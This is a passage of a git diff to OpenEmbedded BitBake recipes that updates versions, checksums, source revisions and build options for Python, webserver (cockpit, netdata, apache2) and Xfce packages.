@@ -5,20 +5,14 @@ SECTION = "devel/python"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-S = "${WORKDIR}/git"
-B = "${S}"
+SRC_URI = "git://github.com/storaged-project/blivet-gui.git;branch=main;protocol=https"
+SRCREV = "9b6a83a7aef546ddacafcc656984c9bbed67a8ec"
-SRCREV = "42512ee48494cee71febf04078d9774f0146a085"
-SRC_URI = "git://github.com/storaged-project/blivet-gui.git;branch=main;protocol=https \
- file://0001-Use-setuptools-instead-of-distutils-in-setup.py.patch \
- file://0002-Use-symbolic-list-add-and-edit-icons.patch \
- "
+S = "${WORKDIR}/git"
-inherit features_check
+inherit features_check setuptools3
REQUIRED_DISTRO_FEATURES = "x11 systemd gobject-introspection-data"
-inherit setuptools3_legacy python3native
-
PIP_INSTALL_PACKAGE = "blivet_gui"
RDEPENDS:${PN} = "python3-pygobject python3 \
@@ -26,6 +20,4 @@ RDEPENDS:${PN} = "python3-pygobject python3 \
python3-pid libreport \
"
-FILES:${PN} += " \
- ${datadir}/* \
- "
+FILES:${PN} += "${datadir}/*"
diff --git a/meta-openembedded/meta-python/recipes-extended/python-pyephem/python3-pyephem_4.1.4.bb b/meta-openembedded/meta-python/recipes-extended/python-pyephem/python3-pyephem_4.1.5.bb
index 8850b79e8c..0478d0d5c2 100644
--- a/meta-openembedded/meta-python/recipes-extended/python-pyephem/python3-pyephem_4.1.4.bb
+++ b/meta-openembedded/meta-python/recipes-extended/python-pyephem/python3-pyephem_4.1.5.bb
@@ -4,7 +4,7 @@ HOMEPAGE = "http://rhodesmill.org/pyephem/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=9c930b395b435b00bb13ec83b0c99f40"
-SRC_URI[sha256sum] = "73a59f0d2162d1624535c3c3b75f956556bdbb2055eaf554a7bef147d3f9c760"
+SRC_URI[sha256sum] = "0c64a8aa401574c75942045b9af70d1656e14c5366151c0cbb400cbeedc2362a"
PYPI_PACKAGE = "ephem"
diff --git a/meta-openembedded/meta-python/recipes-extended/python-rich/python3-rich_13.5.3.bb b/meta-openembedded/meta-python/recipes-extended/python-rich/python3-rich_13.7.0.bb
index 2c385fc66b..5a1d5ddb8f 100644
--- a/meta-openembedded/meta-python/recipes-extended/python-rich/python3-rich_13.5.3.bb
+++ b/meta-openembedded/meta-python/recipes-extended/python-rich/python3-rich_13.7.0.bb
@@ -8,7 +8,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=b5f0b94fbc94f5ad9ae4efcf8a778303"
-SRC_URI[sha256sum] = "87b43e0543149efa1253f485cd845bb7ee54df16c9617b8a893650ab84b4acb6"
+SRC_URI[sha256sum] = "5cb5123b5cf9ee70584244246816e9114227e0b98ad9176eede6ad54bf5403fa"
inherit pypi python_poetry_core
diff --git a/meta-openembedded/meta-python/recipes-extended/pywbem/python3-pywbem_1.6.2.bb b/meta-openembedded/meta-python/recipes-extended/pywbem/python3-pywbem_1.6.2.bb
index 01e4719ba4..f607de7799 100644
--- a/meta-openembedded/meta-python/recipes-extended/pywbem/python3-pywbem_1.6.2.bb
+++ b/meta-openembedded/meta-python/recipes-extended/pywbem/python3-pywbem_1.6.2.bb
@@ -49,5 +49,3 @@ ALTERNATIVE:${PN} = "mof_compiler"
ALTERNATIVE_TARGET[mof_compiler] = "${bindir}/mof_compiler"
ALTERNATIVE_PRIORITY = "60"
-
-BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-python/recipes-extended/tuna/tuna_git.bb b/meta-openembedded/meta-python/recipes-extended/tuna/tuna_0.19.bb
index a493412403..ea0f157921 100644
--- a/meta-openembedded/meta-python/recipes-extended/tuna/tuna_git.bb
+++ b/meta-openembedded/meta-python/recipes-extended/tuna/tuna_0.19.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/GPL-2.0-only;md5=801f80980d171d
SRC_URI = "git://git.kernel.org/pub/scm/utils/tuna/tuna.git;branch=main"
-SRCREV = "0681906e75e1c8166126bbfc2f3055e7507bfcb5"
+SRCREV = "b972b8ce386c29bcbcd45029a617db3db9e5b6ca"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-python/recipes-networking/python/python3-ldap_3.4.3.bb b/meta-openembedded/meta-python/recipes-networking/python/python3-ldap_3.4.4.bb
index 0bf1ff14a8..6caf5f37ce 100644
--- a/meta-openembedded/meta-python/recipes-networking/python/python3-ldap_3.4.3.bb
+++ b/meta-openembedded/meta-python/recipes-networking/python/python3-ldap_3.4.4.bb
@@ -13,7 +13,7 @@ PYPI_PACKAGE = "python-ldap"
inherit pypi setuptools3
-SRC_URI[sha256sum] = "ab26c519a0ef2a443a2a10391fa3c5cb52d7871323399db949ebfaa9f25ee2a0"
+SRC_URI[sha256sum] = "7edb0accec4e037797705f3a05cbf36a9fde50d08c8f67f2aef99a2628fab828"
do_configure:prepend() {
sed -i -e 's:^library_dirs =.*::' \
diff --git a/meta-openembedded/meta-webserver/README.md b/meta-openembedded/meta-webserver/README.md
index d23f6cc65c..d1b743887c 100644
--- a/meta-openembedded/meta-webserver/README.md
+++ b/meta-openembedded/meta-webserver/README.md
@@ -26,10 +26,10 @@ branch: master
Layout
------
-recipes-httpd/ Web servers
-recipes-php/ PHP applications
-recipes-support/ Miscellaneous support recipes
-recipes-webadmin/ Standalone web administration interfaces
+* recipes-httpd/ Web servers
+* recipes-php/ PHP applications
+* recipes-support/ Miscellaneous support recipes
+* recipes-webadmin/ Standalone web administration interfaces
Notes
diff --git a/meta-openembedded/meta-webserver/files/static-group-meta-webserver b/meta-openembedded/meta-webserver/files/static-group-meta-webserver
new file mode 100644
index 0000000000..811980c05d
--- /dev/null
+++ b/meta-openembedded/meta-webserver/files/static-group-meta-webserver
@@ -0,0 +1 @@
+netdata:x:691
diff --git a/meta-openembedded/meta-webserver/files/static-passwd-meta-webserver b/meta-openembedded/meta-webserver/files/static-passwd-meta-webserver
index 028cf8d941..231d458ab5 100644
--- a/meta-openembedded/meta-webserver/files/static-passwd-meta-webserver
+++ b/meta-openembedded/meta-webserver/files/static-passwd-meta-webserver
@@ -1,2 +1,2 @@
www:x:690:nogroup::/:/bin/nologin
-netdata:x:691:nogroup::/:/bin/nologin \ No newline at end of file
+netdata:x:691:691::/:/bin/nologin
diff --git a/meta-openembedded/meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb b/meta-openembedded/meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb
index 00f8aaa415..bbc1c6c48a 100644
--- a/meta-openembedded/meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb
+++ b/meta-openembedded/meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb
@@ -36,7 +36,7 @@ inherit autotools update-rc.d pkgconfig systemd update-alternatives
DEPENDS = "openssl expat pcre apr apr-util apache2-native "
-CVE_PRODUCT = "http_server"
+CVE_PRODUCT = "apache:http_server"
SSTATE_SCAN_FILES += "apxs config_vars.mk config.nice"
diff --git a/meta-openembedded/meta-webserver/recipes-php/xdebug/xdebug_3.2.0.bb b/meta-openembedded/meta-webserver/recipes-php/xdebug/xdebug_3.2.2.bb
index fe6fc5bf9a..8ad588d291 100644
--- a/meta-openembedded/meta-webserver/recipes-php/xdebug/xdebug_3.2.0.bb
+++ b/meta-openembedded/meta-webserver/recipes-php/xdebug/xdebug_3.2.2.bb
@@ -6,7 +6,7 @@ DEPENDS = "php re2c-native"
SRC_URI = "http://xdebug.org/files/xdebug-${PV}.tgz"
-SRC_URI[sha256sum] = "7769b20eecdadf5fbe9f582512c10b394fb575b6f7a8c3a3a82db6883e0032b7"
+SRC_URI[sha256sum] = "f48777371f90cbb315ea4ea082a1ede6765bcfb35d7d6356ab8f71fd6dfcc157"
UPSTREAM_CHECK_REGEX = "xdebug-(?P<pver>\d+(\.\d+)+)\.tgz"
diff --git a/meta-openembedded/meta-webserver/recipes-webadmin/cockpit/cockpit_298.bb b/meta-openembedded/meta-webserver/recipes-webadmin/cockpit/cockpit_304.bb
index 2623024243..ab05fd3777 100644
--- a/meta-openembedded/meta-webserver/recipes-webadmin/cockpit/cockpit_298.bb
+++ b/meta-openembedded/meta-webserver/recipes-webadmin/cockpit/cockpit_304.bb
@@ -9,11 +9,13 @@ SRC_URI += " \
file://0001-Warn-not-error-if-xsltproc-is-not-found.patch \
file://cockpit.pam \
"
-SRC_URI[sha256sum] = "c7da91824f7a72c82c1a3aaff1a57dbe0ce1e29e05e95d92b5118a324a3f4b39"
+SRC_URI[sha256sum] = "a87d090c930e2058bb3e970ca7f2bafe678687966b5c0b8b42a802977e391ce9"
inherit gettext pkgconfig autotools systemd features_check
+inherit ${@bb.utils.contains('PACKAGECONFIG', 'old-bridge', '', 'python3targetconfig', d)}
DEPENDS += "glib-2.0-native intltool-native gnutls virtual/gettext json-glib krb5 libpam systemd"
+DEPENDS += "${@bb.utils.contains('PACKAGECONFIG', 'old-bridge', '', 'python3-pip-native', d)}"
COMPATIBLE_HOST:libc-musl = "null"
@@ -37,12 +39,14 @@ EXTRA_OECONF = " \
PACKAGECONFIG ??= " \
${@bb.utils.filter('DISTRO_FEATURES', 'polkit', d)} \
+ old-bridge \
"
PACKAGECONFIG[pcp] = "--enable-pcp,--disable-pcp,pcp"
PACKAGECONFIG[dashboard] = "--enable-ssh,--disable-ssh,libssh"
PACKAGECONFIG[storaged] = ",,,udisks2"
PACKAGECONFIG[polkit] = "--enable-polkit,--disable-polkit,polkit"
+PACKAGECONFIG[old-bridge] = "--enable-old-bridge"
PACKAGES =+ " \
${PN}-pcp \
@@ -119,9 +123,10 @@ FILES:${PN}-apps = "${datadir}/cockpit/apps"
FILES:${PN}-bridge = " \
${bindir}/cockpit-bridge \
- ${libexec}/cockpit-askpass \
+ ${libexecdir}/cockpit-askpass \
+ ${PYTHON_SITEPACKAGES_DIR} \
"
-RDEPENDS:${PN}-bridge = ""
+RDEPENDS:${PN}-bridge = "${@bb.utils.contains('PACKAGECONFIG', 'old-bridge', '', 'python3', d)}"
FILES:${PN}-desktop = "${libexecdir}/cockpit-desktop"
RDEPENDS:${PN}-desktop += "bash"
diff --git a/meta-openembedded/meta-webserver/recipes-webadmin/netdata/netdata/netdata.service b/meta-openembedded/meta-webserver/recipes-webadmin/netdata/netdata/netdata.service
index ca13f72871..f4911f3b6e 100644
--- a/meta-openembedded/meta-webserver/recipes-webadmin/netdata/netdata/netdata.service
+++ b/meta-openembedded/meta-webserver/recipes-webadmin/netdata/netdata/netdata.service
@@ -7,7 +7,7 @@ After=network.target
[Service]
Type=simple
ExecStartPre=/bin/mkdir -p /var/log/netdata
-ExecStartPre=/bin/chown -R netdata.netdata /var/log/netdata
+ExecStartPre=/bin/chown -R netdata:netdata /var/log/netdata
ExecStart=/usr/sbin/netdata -D -u netdata
diff --git a/meta-openembedded/meta-webserver/recipes-webadmin/netdata/netdata_1.36.1.bb b/meta-openembedded/meta-webserver/recipes-webadmin/netdata/netdata_1.43.2.bb
index 52d99e7704..c56da37449 100644
--- a/meta-openembedded/meta-webserver/recipes-webadmin/netdata/netdata_1.36.1.bb
+++ b/meta-openembedded/meta-webserver/recipes-webadmin/netdata/netdata_1.43.2.bb
@@ -5,11 +5,11 @@ HOMEPAGE = "https://github.com/netdata/netdata/"
LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=fc9b848046ef54b5eaee6071947abd24"
-DEPENDS += "libuv util-linux zlib"
+DEPENDS += "libuv util-linux zlib libyaml json-c"
SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BPN}-v${PV}.tar.gz \
"
-SRC_URI[sha256sum] = "f4a1233112b55e07e2862ffda0416255f0aa4c8e2b16929b76fa7ad6b69fd931"
+SRC_URI[sha256sum] = "d4a7ea2717ac7c8f04865f18e13aeaa0a36784156059f1b5ced75a44f74afc4d"
# default netdata.conf for netdata configuration
SRC_URI += "file://netdata.conf"
@@ -17,7 +17,8 @@ SRC_URI += "file://netdata.conf"
# file for providing systemd service support
SRC_URI += "file://netdata.service"
-UPSTREAM_CHECK_URI = "https://github.com/netdata/netdata/releases"
+UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/tags"
+UPSTREAM_CHECK_REGEX = "${BPN}/releases/tag/v(?P<pver>\d+(?:\.\d+)*)"
S = "${WORKDIR}/${BPN}-v${PV}"
@@ -41,10 +42,10 @@ SYSTEMD_AUTO_ENABLE:${PN} = "enable"
USERADD_PACKAGES = "${PN}"
USERADD_PARAM:${PN} = "--system --no-create-home --home-dir ${localstatedir}/run/netdata --user-group netdata"
-PACKAGECONFIG ??= "https"
-PACKAGECONFIG[cloud] = "--enable-cloud, --disable-cloud, json-c"
-PACKAGECONFIG[compression] = "--enable-compression, --disable-compression, lz4"
-PACKAGECONFIG[https] = "--enable-https, --disable-https, openssl"
+PACKAGECONFIG ??= "openssl"
+PACKAGECONFIG[cloud] = "--enable-cloud, --disable-cloud,"
+PACKAGECONFIG[lz4] = "--enable-lz4, --disable-lz4, lz4"
+PACKAGECONFIG[openssl] = "--enable-openssl, --disable-openssl, openssl"
# ebpf doesn't compile (or detect) the cross compilation well
EXTRA_OECONF += "--disable-ebpf"
diff --git a/meta-openembedded/meta-xfce/recipes-apps/catfish/catfish_4.16.3.bb b/meta-openembedded/meta-xfce/recipes-apps/catfish/catfish_4.18.0.bb
index 249c8e1bd8..6b93928721 100644
--- a/meta-openembedded/meta-xfce/recipes-apps/catfish/catfish_4.16.3.bb
+++ b/meta-openembedded/meta-xfce/recipes-apps/catfish/catfish_4.18.0.bb
@@ -9,7 +9,7 @@ REQUIRED_DISTRO_FEATURES = "gobject-introspection-data"
DEPENDS += "python3-distutils-extra-native"
-SRC_URI[sha256sum] = "e9a99a62d10981391508dd43f3cbfa2d50a69bd6b7d1eeef7d30ba4c673dcfda"
+SRC_URI[sha256sum] = "fdae9b73cc754a50716bb04b958aa31dbd7e94047068b7207f2ae313a7d58b99"
FILES:${PN} += "${datadir}/metainfo"
diff --git a/meta-openembedded/meta-xfce/recipes-apps/gigolo/gigolo_0.5.2.bb b/meta-openembedded/meta-xfce/recipes-apps/gigolo/gigolo_0.5.3.bb
index 6b845ea613..4692f18294 100644
--- a/meta-openembedded/meta-xfce/recipes-apps/gigolo/gigolo_0.5.2.bb
+++ b/meta-openembedded/meta-xfce/recipes-apps/gigolo/gigolo_0.5.3.bb
@@ -7,4 +7,4 @@ DEPENDS = "gtk+3 intltool-native xfce4-dev-tools-native"
inherit xfce-app
-SRC_URI[sha256sum] = "e34a1aa0755f9f6c234c7d24b23a6cecd6ef50741d79da3bb6f698a2281dbbc3"
+SRC_URI[sha256sum] = "d25984f65744665e2433335249f9547a38cead45440027af0c397ebf254d2fd0"
diff --git a/meta-openembedded/meta-xfce/recipes-apps/menulibre/menulibre_2.2.3.bb b/meta-openembedded/meta-xfce/recipes-apps/menulibre/menulibre_2.3.2.bb
index 609caf3461..7491b509cc 100644
--- a/meta-openembedded/meta-xfce/recipes-apps/menulibre/menulibre_2.2.3.bb
+++ b/meta-openembedded/meta-xfce/recipes-apps/menulibre/menulibre_2.3.2.bb
@@ -13,7 +13,7 @@ inherit setuptools3_legacy gtk-icon-cache features_check
REQUIRED_DISTRO_FEATURES = "x11 gobject-introspection-data"
SRC_URI = "git://github.com/bluesabre/menulibre.git;protocol=https;branch=master"
-SRCREV = "86ee9ad7568128fe9555e54799933b2d3762331a"
+SRCREV = "94bef4060714fa65c7246c25b87410b52a149f94"
S = "${WORKDIR}/git"
do_compile[noexec] = "1"
diff --git a/meta-openembedded/meta-xfce/recipes-apps/mousepad/mousepad_0.5.9.bb b/meta-openembedded/meta-xfce/recipes-apps/mousepad/mousepad_0.6.1.bb
index 1be015bfbb..dc75a4b220 100644
--- a/meta-openembedded/meta-xfce/recipes-apps/mousepad/mousepad_0.5.9.bb
+++ b/meta-openembedded/meta-xfce/recipes-apps/mousepad/mousepad_0.6.1.bb
@@ -7,7 +7,7 @@ DEPENDS = "gtk+3 gtksourceview4 xfconf xfce4-dev-tools-native"
inherit xfce-app gsettings mime-xdg
-SRC_URI[sha256sum] = "f108a8c167ec5727266ab67666f10dbd60e972d56ea03944302fdabb2167f473"
+SRC_URI[sha256sum] = "560c5436c7bc7de33fbf3e9f6cc545280772ad898dfb73257d86533880ffff36"
PACKAGECONFIG ??= ""
PACKAGECONFIG[spell] = "--enable-plugin-gspell,--disable-plugin-gspell,gspell"
diff --git a/meta-openembedded/meta-xfce/recipes-apps/orage/orage_4.16.0.bb b/meta-openembedded/meta-xfce/recipes-apps/orage/orage_4.18.0.bb
index d10cdaac49..83a65885ac 100644
--- a/meta-openembedded/meta-xfce/recipes-apps/orage/orage_4.16.0.bb
+++ b/meta-openembedded/meta-xfce/recipes-apps/orage/orage_4.18.0.bb
@@ -6,7 +6,7 @@ DEPENDS = "gtk+ xfce4-panel libical popt"
inherit xfce-app mime-xdg
-SRC_URI[sha256sum] = "26111a3b6a2007c82f1e0a1e0591b774a0b132f3a7f1cde53d9be661b2f11700"
+SRC_URI[sha256sum] = "6313b49b26cfa39fc5e99468f3fbcfe0fa1c0f3f74273f03674f1a7d6141a3ec"
PACKAGECONFIG ??= "notify"
PACKAGECONFIG[notify] = "--enable-libnotify,--disable-libnotify,libnotify"
diff --git a/meta-openembedded/meta-xfce/recipes-apps/xarchiver/xarchiver_git.bb b/meta-openembedded/meta-xfce/recipes-apps/xarchiver/xarchiver_0.5.4.21.bb
index ea7e8005ef..abb5c14e64 100644
--- a/meta-openembedded/meta-xfce/recipes-apps/xarchiver/xarchiver_git.bb
+++ b/meta-openembedded/meta-xfce/recipes-apps/xarchiver/xarchiver_0.5.4.21.bb
@@ -8,8 +8,8 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
DEPENDS = "gtk+3 glib-2.0 xfce4-dev-tools-native intltool-native"
SRC_URI = "git://github.com/ib/xarchiver.git;branch=master;protocol=https"
-SRCREV = "2f6c91e756678f0723305d8636e8e393c1eef32c"
-PV = "0.5.4.17"
+SRCREV = "55f923ebc623bcc8f53368543847350a23688189"
+
S = "${WORKDIR}/git"
inherit gettext pkgconfig autotools gtk-icon-cache features_check mime-xdg
diff --git a/meta-openembedded/meta-xfce/recipes-apps/xfce4-panel-profiles/xfce4-panel-profiles/not-create-link-to-locale.patch b/meta-openembedded/meta-xfce/recipes-apps/xfce4-panel-profiles/xfce4-panel-profiles/not-create-link-to-locale.patch
deleted file mode 100644
index b5421f6f74..0000000000
--- a/meta-openembedded/meta-xfce/recipes-apps/xfce4-panel-profiles/xfce4-panel-profiles/not-create-link-to-locale.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-It is useless to create a link to $(PREFIX)/share/locale that there is no
-reference to $(PREFIX)/share/$(APPNAME)/locale in source code.
-
-Upstream-Status: Submitted [https://bugzilla.xfce.org/show_bug.cgi?id=16693]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
----
- Makefile.in.in | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/Makefile.in.in b/Makefile.in.in
-index c0ce866..c2f26fe 100644
---- a/Makefile.in.in
-+++ b/Makefile.in.in
-@@ -70,7 +70,6 @@ install: all xfce4-panel-profiles.1
- install data/metainfo/*.xml $(DESTDIR)/$(PREFIX)/share/metainfo
-
- cp -rf locale $(DESTDIR)/$(PREFIX)/share
-- ln -sf $(PREFIX)/share/locale $(DESTDIR)/$(PREFIX)/share/$(APPNAME)/locale
-
- install -d $(DESTDIR)/$(MANDIR)/man1
- install xfce4-panel-profiles.1 $(DESTDIR)/$(MANDIR)/man1
diff --git a/meta-openembedded/meta-xfce/recipes-apps/xfce4-panel-profiles/xfce4-panel-profiles_1.0.13.bb b/meta-openembedded/meta-xfce/recipes-apps/xfce4-panel-profiles/xfce4-panel-profiles_1.0.14.bb
index feb9121609..38f6eb6ebc 100644
--- a/meta-openembedded/meta-xfce/recipes-apps/xfce4-panel-profiles/xfce4-panel-profiles_1.0.13.bb
+++ b/meta-openembedded/meta-xfce/recipes-apps/xfce4-panel-profiles/xfce4-panel-profiles_1.0.14.bb
@@ -9,10 +9,8 @@ REQUIRED_DISTRO_FEATURES = "x11 gobject-introspection-data"
DEPENDS += "intltool-native"
-SRC_URI = "http://archive.xfce.org/src/apps/${BPN}/1.0/${BP}.tar.bz2 \
- file://not-create-link-to-locale.patch \
- "
-SRC_URI[sha256sum] = "bc387c13f94109422dc72b0fcb919b0dc11619ba589d03e492252b0d2513b170"
+SRC_URI = "http://archive.xfce.org/src/apps/${BPN}/1.0/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "6d08354e8c44d4b0370150809c1ed601d09c8b488b68986477260609a78be3f9"
do_configure() {
# special configure - no autotools...
diff --git a/meta-openembedded/meta-xfce/recipes-apps/xfce4-screenshooter/xfce4-screenshooter_1.10.3.bb b/meta-openembedded/meta-xfce/recipes-apps/xfce4-screenshooter/xfce4-screenshooter_1.10.4.bb
index 10427dab32..7c2ecd30d4 100644
--- a/meta-openembedded/meta-xfce/recipes-apps/xfce4-screenshooter/xfce4-screenshooter_1.10.3.bb
+++ b/meta-openembedded/meta-xfce/recipes-apps/xfce4-screenshooter/xfce4-screenshooter_1.10.4.bb
@@ -7,7 +7,7 @@ DEPENDS = "xfce4-panel libxfce4util libxfce4ui gdk-pixbuf gtk+3 glib-2.0 libsoup
inherit xfce-app perlnative
-SRC_URI[sha256sum] = "a454159847becfeca274a5b58c0e5817d4a260a29345a37bbc3b4ff46f8f3818"
+SRC_URI[sha256sum] = "a2f199687e54e16a936d5636d660d42b6b9a5d548cdd0f04bd69213554806494"
do_compile:prepend() {
mkdir -p lib
diff --git a/meta-openembedded/meta-xfce/recipes-apps/xfce4-taskmanager/xfce4-taskmanager_1.5.5.bb b/meta-openembedded/meta-xfce/recipes-apps/xfce4-taskmanager/xfce4-taskmanager_1.5.6.bb
index 802d6af4a4..4eddc9fcfc 100644
--- a/meta-openembedded/meta-xfce/recipes-apps/xfce4-taskmanager/xfce4-taskmanager_1.5.5.bb
+++ b/meta-openembedded/meta-xfce/recipes-apps/xfce4-taskmanager/xfce4-taskmanager_1.5.6.bb
@@ -6,4 +6,4 @@ inherit xfce-app
DEPENDS += "gtk+3 cairo libwnck libxfce4ui libxmu xfce4-dev-tools-native"
-SRC_URI[sha256sum] = "f64f01ba241a0b8bbf2ed3274e5decc2313c9f8b0e4d160db3ba69b331558ae5"
+SRC_URI[sha256sum] = "20979000761a41faed4f7f63f27bd18bb36fb27db4f7ecc8784a460701fb4abb"
diff --git a/meta-openembedded/meta-xfce/recipes-multimedia/parole/parole_4.16.0.bb b/meta-openembedded/meta-xfce/recipes-multimedia/parole/parole_4.18.0.bb
index 04aabe0c71..e2c7a012c7 100644
--- a/meta-openembedded/meta-xfce/recipes-multimedia/parole/parole_4.16.0.bb
+++ b/meta-openembedded/meta-xfce/recipes-multimedia/parole/parole_4.18.0.bb
@@ -16,7 +16,7 @@ DEPENDS += " \
taglib \
"
-SRC_URI[sha256sum] = "0d305ad8ccd3974d6b632f74325b1b8a39304c905c6b405b70f52c4cfd55a7e7"
+SRC_URI[sha256sum] = "bbe52fbc4d3abe30f6c79fc7ac57bd9de9cf74ce1a79b508a1d7de83dc4f3771"
RDEPENDS:${PN} += "gstreamer1.0-plugins-good"
diff --git a/meta-openembedded/meta-xfce/recipes-multimedia/xfce4-mpc-plugin/xfce4-mpc-plugin_0.5.2.bb b/meta-openembedded/meta-xfce/recipes-multimedia/xfce4-mpc-plugin/xfce4-mpc-plugin_0.5.3.bb
index 4a7ed93ebc..cd868c243b 100644
--- a/meta-openembedded/meta-xfce/recipes-multimedia/xfce4-mpc-plugin/xfce4-mpc-plugin_0.5.2.bb
+++ b/meta-openembedded/meta-xfce/recipes-multimedia/xfce4-mpc-plugin/xfce4-mpc-plugin_0.5.3.bb
@@ -14,5 +14,4 @@ LICENSE_FLAGS = "commercial"
# for now we recommend our own mpd-server
RRECOMMENDS:${PN} = "mpd"
-SRC_URI[md5sum] = "26a1e8658df2b51967dc2250e23f467d"
-SRC_URI[sha256sum] = "eefe78b7b6b95312b3a52814b7f632dc92970c1b3e9535de616315749bf67760"
+SRC_URI[sha256sum] = "0467fb4d1acd982d3c3e0b89cb41019946850524ff19ed0f658a8d56c7b7664d"
diff --git a/meta-openembedded/meta-xfce/recipes-multimedia/xfmpc/xfmpc_0.3.0.bb b/meta-openembedded/meta-xfce/recipes-multimedia/xfmpc/xfmpc_0.3.1.bb
index b8521ba95e..1e02bbe54f 100644
--- a/meta-openembedded/meta-xfce/recipes-multimedia/xfmpc/xfmpc_0.3.0.bb
+++ b/meta-openembedded/meta-xfce/recipes-multimedia/xfmpc/xfmpc_0.3.1.bb
@@ -1,7 +1,7 @@
SUMMARY = "Music Player Daemon (MPD) client written in GTK+"
HOMEPAGE = "https://goodies.xfce.org/projects/applications/xfmpc"
LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
DEPENDS = "libxfce4util libxfce4ui libmpd vala-native"
# While this item does not require it, it depends on mpd which does
@@ -12,5 +12,4 @@ RRECOMMENDS:${PN} = "mpd"
inherit xfce-app
-SRC_URI[md5sum] = "e6ff8563f159d1e727d656fb88964998"
-SRC_URI[sha256sum] = "c76e2a88dc3e1d345da7a5c68fa39981494c2b40033748efcac54411c9e65689"
+SRC_URI[sha256sum] = "4867d5dd100fa42ab39ebde6c784ec21ee31717f1adb3f4da070dafb3848d96d"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/battery/xfce4-battery-plugin_1.1.4.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/battery/xfce4-battery-plugin_1.1.5.bb
index 0f8489b18c..ce119bb6da 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/battery/xfce4-battery-plugin_1.1.4.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/battery/xfce4-battery-plugin_1.1.5.bb
@@ -1,8 +1,8 @@
SUMMARY = "A battery monitor panel plugin for Xfce4, compatible with APM and ACP"
HOMEPAGE = "https://goodies.xfce.org/projects/panel-plugins/xfce4-battery-plugin"
LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
inherit xfce-panel-plugin
-SRC_URI[sha256sum] = "107df2a837156c010e1eab5430bab90c77f0a3dc699b5937678c8a9c5e64c222"
+SRC_URI[sha256sum] = "752233bfb320ee1e26104a656cbb868299f562733063e2b9a18f0966585ce213"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/calculator/xfce4-calculator-plugin_0.7.1.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/calculator/xfce4-calculator-plugin_0.7.2.bb
index 8fd2bd0d29..0c464930e1 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/calculator/xfce4-calculator-plugin_0.7.1.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/calculator/xfce4-calculator-plugin_0.7.2.bb
@@ -5,4 +5,4 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=909430f63fddd63f120ba29e8979f65c"
inherit xfce-panel-plugin gtk-icon-cache
-SRC_URI[sha256sum] = "e4016a03c3ef4ebddd97e4135f5e304f80677033c98e19644b9989ec6f5ada81"
+SRC_URI[sha256sum] = "d1f622bea41a90c1686bf9f13c488ab28e995e2762b84712dea9027e0c94028b"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/cpugraph/xfce4-cpugraph-plugin_1.2.7.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/cpugraph/xfce4-cpugraph-plugin_1.2.8.bb
index e23188d309..8e58175615 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/cpugraph/xfce4-cpugraph-plugin_1.2.7.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/cpugraph/xfce4-cpugraph-plugin_1.2.8.bb
@@ -5,4 +5,4 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=415654f59d8fa70fe4eac2c3f86c8f5e"
inherit xfce-panel-plugin
-SRC_URI[sha256sum] = "68a651e278ed7186964e455b69b15da77f8d56257e5c3d6adf783b3ee9337405"
+SRC_URI[sha256sum] = "bfb438ce21f37d57241b2596d72aa4bf47587cd5a8833fc30a9599616f75d4bf"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/datetime/xfce4-datetime-plugin_0.8.1.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/datetime/xfce4-datetime-plugin_0.8.3.bb
index c029ac1c0f..f292a6deaf 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/datetime/xfce4-datetime-plugin_0.8.1.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/datetime/xfce4-datetime-plugin_0.8.3.bb
@@ -5,4 +5,4 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
inherit xfce-panel-plugin
-SRC_URI[sha256sum] = "e9f6f15be29ceb5c45718006b46dbd19b89981617d0768b2ef942b5a70af2540"
+SRC_URI[sha256sum] = "6b2eeb79fb586868737426cbd2a4cd43c7f8c58507d8a2f578e0150187cc00b0"
